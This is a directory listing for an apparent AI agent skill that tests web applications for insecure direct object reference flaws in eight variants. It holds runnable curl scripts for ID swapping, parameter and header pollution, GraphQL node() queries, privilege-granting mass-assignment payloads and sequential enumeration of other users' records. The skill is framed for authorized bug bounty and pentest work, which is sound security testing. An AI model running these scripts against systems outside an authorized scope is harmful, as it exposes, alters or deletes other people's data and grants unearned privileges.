SuperAPI AI Directory

web-vuln-idor

General & other

View repository

Updated 10-16 05:42

About this skill

What this skill does

Detects Insecure Direct Object Reference (IDOR) vulnerabilities across 8 variant classifications (V1–V8), covering numeric IDs, UUID-based references, indirect parameters, GraphQL node() queries, WebSocket messages, file path references, API version downgrades, and mass assignment. Provides systematic two-account testing, impact classification, and chain escalation paths from IDOR to PII leak, ATO, and privilege escalation.

When to use

  • When an endpoint URL or request body contains an ID parameter (numeric, UUID, base64, or encoded)
  • When testing access control between two user accounts of the same or different roles
  • When an API version endpoint exists alongside a newer one
  • When GraphQL introspection reveals a node() query
  • When a WebSocket message contains a client-supplied user or resource identifier
  • When a file download endpoint includes a filename or path in the request

Prerequisites

  • Two valid accounts on the target: Account A (attacker) and Account B (victim)
  • A proxy tool (Burp Suite or Caido) configured to intercept requests
  • Both accounts must have performed at least one action that creates a resource (order, report, profile, message)
  • Authorization to test the target under a valid bug bounty or pentest scope

Inputs

Variable Required Description
SECSKILL_TARGET Yes Base URL of the target (e.g., https://app.example.com)
SECSKILL_TOKEN_A Yes Bearer token or session cookie for Account A (attacker)
SECSKILL_TOKEN_B Yes Bearer token or session cookie for Account B (victim)
SECSKILL_RESOURCE_ID Yes A resource ID owned by Account B (order_id, user_id, report_id, etc.)
SECSKILL_ENDPOINT Yes Endpoint containing the object reference (e.g., /api/orders/)
SECSKILL_OUTPUT_DIR Optional Directory to save results (default: ./output)

Workflow

Step 1: Environment setup and variant identification

export TARGET="${SECSKILL_TARGET}"
export TOKEN_A="${SECSKILL_TOKEN_A}"
export TOKEN_B="${SECSKILL_TOKEN_B}"
export VICTIM_ID="${SECSKILL_RESOURCE_ID}"
export ENDPOINT="${SECSKILL_ENDPOINT}"
export OUTDIR="${SECSKILL_OUTPUT_DIR:-./output}"
mkdir -p "$OUTDIR"

# Classify the ID format — determines which variants to test
if echo "$VICTIM_ID" | grep -qE '^[0-9]+$'; then
  echo "[*] Numeric ID detected -> V1 (direct swap), V7 (API version), V8 (mass assignment)"
elif echo "$VICTIM_ID" | grep -qE '^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$'; then
  echo "[*] UUID detected -> V2 (need leak source), V3 (parameter pollution), V8 (mass assignment)"
elif echo "$VICTIM_ID" | grep -qE '^[A-Za-z0-9+/=]{20,}$'; then
  echo "[*] Base64/encoded ID detected -> V2 (decode and swap)"
  echo "$VICTIM_ID" | base64 -d 2>/dev/null && echo ""
fi

# Confirm Account A cannot legitimately access Account B's resource
echo "[*] Baseline: Account A's own resource access"
curl -sk -H "Authorization: Bearer $TOKEN_A" \
  "${TARGET}${ENDPOINT}" -w "\nHTTP: %{http_code}\n" | tail -3

echo "[*] Baseline: Account B owns the target resource (verify 200)"
curl -sk -H "Authorization: Bearer $TOKEN_B" \
  "${TARGET}${ENDPOINT}${VICTIM_ID}" -w "\nHTTP: %{http_code}\n" | tail -3

Step 2: V1 — Direct numeric ID swap

echo "=== V1: Direct Object Reference ==="
# Use Account A's token to access Account B's resource
RESPONSE=$(curl -sk -H "Authorization: Bearer $TOKEN_A" \
  "${TARGET}${ENDPOINT}${VICTIM_ID}" \
  -o "$OUTDIR/v1_response.json" -w "%{http_code}")

echo "HTTP Status: $RESPONSE"

if [ "$RESPONSE" = "200" ]; then
  echo "[!] POTENTIAL IDOR V1 — got 200 with Account A token on Account B resource"
  # Check if response contains Account B's actual data
  python3 -c "
import json, sys
try:
    with open('$OUTDIR/v1_response.json') as f:
        data = json.load(f)
    print('Response keys:', list(data.keys()) if isinstance(data, dict) else type(data).__name__)
    print('First 300 chars:', str(data)[:300])
except: print('Non-JSON response')
"
else
  echo "[-] V1: Got $RESPONSE — access denied (check V3/V4/V7 variants)"
fi

# Test all HTTP methods — PUT and DELETE often lack auth checks
echo ""
echo "[*] Testing all HTTP methods for V1"
for method in GET POST PUT PATCH DELETE; do
  code=$(curl -sk -X "$method" \
    -H "Authorization: Bearer $TOKEN_A" \
    "${TARGET}${ENDPOINT}${VICTIM_ID}" \
    -w "%{http_code}" -o /dev/null)
  echo "  $method: $code"
done

Step 3: V2 — Encoded/hashed ID swap

echo "=== V2: Indirect Reference (Encoded/Hashed IDs) ==="

# Find UUID or GUID from Account B via indirect endpoints (email invite, share links)
# Common UUID leak sources:
echo "[*] Checking for UUID leak in Account B's shareable links or email headers"
for leak_path in /api/users/search /api/invites /api/share /api/export \
                 /api/profile/public /api/notifications; do
  code=$(curl -sk -o "$OUTDIR/leak_probe.json" -w "%{http_code}" \
    -H "Authorization: Bearer $TOKEN_A" "${TARGET}${leak_path}")
  [ "$code" = "200" ] && echo "  [200] $leak_path — check for UUIDs" && \
    grep -oE '[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}' \
    "$OUTDIR/leak_probe.json" | head -3
done

# If ID is base64-encoded, decode -> modify -> re-encode
if echo "$VICTIM_ID" | base64 -d 2>/dev/null | grep -qE '^[A-Za-z]+:[0-9]+$'; then
  DECODED=$(echo "$VICTIM_ID" | base64 -d 2>/dev/null)
  echo "[*] Decoded ID: $DECODED"
  # Modify the numeric part — e.g., User:456 -> User:457
  MODIFIED=$(echo "$DECODED" | sed 's/:[0-9]*/:'$(( $(echo "$DECODED" | grep -oE '[0-9]+') + 1 ))'/')
  NEW_ID=$(echo -n "$MODIFIED" | base64)
  echo "[*] Testing modified encoded ID: $NEW_ID"
  curl -sk -H "Authorization: Bearer $TOKEN_A" \
    "${TARGET}${ENDPOINT}${NEW_ID}" -w "\nHTTP: %{http_code}\n" | tail -3
fi

Step 4: V3 — Parameter pollution

echo "=== V3: Parameter Pollution ==="
# Add unexpected parameters that override the server-side user lookup

# Test 1: Add user_id / owner_id as query parameter
for param in user_id userId owner_id ownerId account_id uid; do
  code=$(curl -sk -o "$OUTDIR/v3_${param}.json" -w "%{http_code}" \
    -H "Authorization: Bearer $TOKEN_A" \
    "${TARGET}${ENDPOINT}?${param}=${VICTIM_ID}")
  echo "  ?${param}=${VICTIM_ID} -> HTTP $code"
  [ "$code" = "200" ] && echo "  [!] POTENTIAL V3 IDOR via ?${param}"
done

# Test 2: Override in JSON body
curl -sk -X POST \
  -H "Authorization: Bearer $TOKEN_A" \
  -H "Content-Type: application/json" \
  "${TARGET}${ENDPOINT}" \
  -d "{\"id\": \"${VICTIM_ID}\", \"user_id\": \"${VICTIM_ID}\"}" \
  -w "\nHTTP: %{http_code}\n" | tail -3

# Test 3: HTTP header injection
for header in "X-User-Id: ${VICTIM_ID}" "X-Account-Id: ${VICTIM_ID}" \
              "X-Real-User: ${VICTIM_ID}" "X-Original-User: ${VICTIM_ID}"; do
  code=$(curl -sk -o /dev/null -w "%{http_code}" \
    -H "Authorization: Bearer $TOKEN_A" \
    -H "$header" \
    "${TARGET}${ENDPOINT}")
  echo "  Header '$header' -> HTTP $code"
done

Step 5: V4 — GraphQL node() IDOR

echo "=== V4: GraphQL node() IDOR ==="
# GraphQL node() queries often bypass per-type authorization

# Check if GraphQL is available
GQL_URL="${TARGET}/graphql"
code=$(curl -sk -o /dev/null -w "%{http_code}" "$GQL_URL")
echo "[*] GraphQL endpoint: HTTP $code"

if [ "$code" = "200" ] || [ "$code" = "400" ]; then
  # Introspect to find node() and types with sensitive fields
  curl -sk -X POST "$GQL_URL" \
    -H "Authorization: Bearer $TOKEN_A" \
    -H "Content-Type: application/json" \
    -d '{"query": "{ __schema { queryType { fields { name args { name } } } } }"}' \
    | python3 -m json.tool 2>/dev/null | grep -A2 '"name": "node"'

  # If VICTIM_ID is numeric, encode as base64 GlobalID (Type:ID)
  for type_name in User Order Report Invoice Payment Admin; do
    GLOBAL_ID=$(echo -n "${type_name}:${VICTIM_ID}" | base64)
    echo "[*] Testing node(id: $GLOBAL_ID) for type $type_name"
    curl -sk -X POST "$GQL_URL" \
      -H "Authorization: Bearer $TOKEN_A" \
      -H "Content-Type: application/json" \
      -d "{\"query\": \"{ node(id: \\\"${GLOBAL_ID}\\\") { id ... on ${type_name} { email name } } }\"}" \
      -o "$OUTDIR/graphql_node_${type_name}.json" -w "HTTP: %{http_code}\n"
    grep -E '"email"|"name"|"phone"' "$OUTDIR/graphql_node_${type_name}.json" 2>/dev/null && \
      echo "[!] POTENTIAL V4 GraphQL IDOR — sensitive fields returned"
  done
fi

Step 6: V5/V6/V7 — WebSocket, file path, and API version IDOR

echo "=== V5: WebSocket IDOR ==="
# Test if WebSocket messages accept client-supplied user IDs
# (Requires wscat: npm install -g wscat)
WS_URL=$(echo "$TARGET" | sed 's/https/wss/;s/http/ws/')/ws
echo "[*] Testing WebSocket IDOR at $WS_URL"
echo '{"action":"get_history","userId":"'"${VICTIM_ID}"'"}' | \
  timeout 5 wscat -c "$WS_URL" \
  -H "Authorization: Bearer $TOKEN_A" 2>/dev/null | head -5 || \
  echo "  wscat not available or WS not present — skip"

echo ""
echo "=== V6: File Path IDOR ==="
# Test file download endpoints with path traversal or direct path injection
for path_variant in \
  "/api/files/${VICTIM_ID}" \
  "/api/exports/${VICTIM_ID}.csv" \
  "/api/reports/${VICTIM_ID}/download" \
  "/uploads/${VICTIM_ID}" \
  "/api/attachments?file=${VICTIM_ID}"; do
  code=$(curl -sk -o /dev/null -w "%{http_code}" \
    -H "Authorization: Bearer $TOKEN_A" \
    "${TARGET}${path_variant}")
  [ "$code" = "200" ] && echo "[!] [200] V6 candidate: $path_variant"
done

echo ""
echo "=== V7: API Version Downgrade IDOR ==="
# Old API versions frequently lack auth checks added in newer versions
BASE_PATH=$(echo "$ENDPOINT" | sed 's|/v[0-9]*/||')
for version in v1 v2 v3 v0 api; do
  for path_try in \
    "/${version}/${BASE_PATH}${VICTIM_ID}" \
    "/api/${version}/${BASE_PATH}${VICTIM_ID}"; do
    code=$(curl -sk -o "$OUTDIR/v7_${version}.json" -w "%{http_code}" \
      -H "Authorization: Bearer $TOKEN_A" \
      "${TARGET}${path_try}")
    [ "$code" = "200" ] && echo "[!] V7 — older version accessible: ${TARGET}${path_try} (HTTP $code)"
    [ "$code" != "404" ] && [ "$code" != "200" ] && \
      echo "  ${path_try} -> HTTP $code"
  done
done

Step 7: V8 — Mass assignment IDOR

echo "=== V8: Mass Assignment IDOR ==="
# Mass assignment allows setting fields the developer didn't intend to expose

# Test profile/update endpoints with unexpected privileged fields
for field_set in \
  '{"role":"admin"}' \
  '{"is_admin":true,"role":"admin"}' \
  '{"plan":"enterprise","tier":"admin"}' \
  '{"subscription":"premium","credits":9999}' \
  '{"user_id":"'"${VICTIM_ID}"'","email":"attacker@evil.com"}'; do
  code=$(curl -sk -X PUT \
    -H "Authorization: Bearer $TOKEN_A" \
    -H "Content-Type: application/json" \
    "${TARGET}/api/user/profile" \
    -d "$field_set" \
    -o "$OUTDIR/v8_mass_assign.json" -w "%{http_code}")
  echo "  PUT /api/user/profile $field_set -> HTTP $code"
  # Check if role change reflected
  [ "$code" = "200" ] && grep -E '"role"|"is_admin"|"admin"' \
    "$OUTDIR/v8_mass_assign.json" 2>/dev/null && \
    echo "  [!] POTENTIAL V8 — privileged field accepted"
done

Step 8: Impact assessment and chain escalation

echo "=== Impact Assessment and Chain Escalation ==="

> **Reference**: See [REFERENCE.md](REFERENCE.md) for IDOR impact classification levels and chain escalation paths.

# Prove scale: enumerate 20 sequential IDs to show mass impact
echo ""
echo "[*] Enumerating 20 sequential IDs to demonstrate scale..."
BASE_ID=$(echo "$VICTIM_ID" | grep -oE '^[0-9]+' || echo "100")
for id in $(seq "$BASE_ID" $(( BASE_ID + 19 ))); do
  result=$(curl -sk -H "Authorization: Bearer $TOKEN_A" \
    "${TARGET}${ENDPOINT}${id}" \
    -w "%{http_code}" -o /tmp/idor_enum.json)
  if [ "$result" = "200" ]; then
    summary=$(python3 -c "
import json
try:
    d = json.load(open('/tmp/idor_enum.json'))
    print(d.get('email','') or d.get('name','') or str(d)[:60])
except: print('non-json')
" 2>/dev/null)
    echo "  ID $id: [200] $summary"
  fi
done
echo "[*] Enumeration complete. Results in $OUTDIR/"

Done when

  • At least one IDOR variant (V1–V8) is confirmed with HTTP 200 returning Account B's data using Account A's token
  • The variant is classified and documented with the specific endpoint, HTTP method, and parameter name
  • Impact is assessed (read/write, PII/financial/admin)
  • Chain escalation potential is evaluated (can IDOR lead to ATO or privilege escalation?)
  • A reproducible curl command is captured for the bug report
  • Scale is demonstrated by enumerating multiple IDs (for Medium → High escalation)

Failure modes

Symptom Cause Resolution
All endpoints return 403 Proper authorization in place for V1 Test V3 (parameter pollution), V4 (GraphQL), V7 (old API version)
IDs are UUIDs, can't enumerate No predictable IDs Find UUID leak: email invites, share links, API responses to other features
200 response but returns own data Server ignores the ID param, returns session data Try explicit query param override, check V3 variants
Response is identical for both tokens Endpoint uses session-based data only Look for other endpoints with explicit ID references in URL path
GraphQL returns null for node() Per-node auth configured correctly Try different type names (User, Admin, Order, Invoice)
Mass assignment fields rejected Server uses allowlist Check JS source for full object schema, try nested field injection
WebSocket test fails wscat unavailable or WS endpoint differs Use Burp's WebSocket history tab to capture and replay messages manually

Notes

  • IDOR is the most commonly paid bug class — roughly 30% of paid web submissions.
  • Always test every HTTP method (GET, PUT, DELETE, PATCH) — DELETE endpoints are the most frequently unprotected.
  • UUID-based IDs are not security controls. The UUID must still be tied to an authorization check server-side.
  • V7 (API version downgrade) is highly valuable: /api/v1/ endpoints are often forgotten and lack the auth middleware added in v2.
  • For GraphQL V4, the node() interface bypasses per-type resolvers and applies only a global relay authorization — this is frequently misconfigured.
  • Chain IDOR with PII exfiltration at scale to escalate from Medium to High severity.
  • Chain IDOR with email/password field write to demonstrate ATO for Critical severity.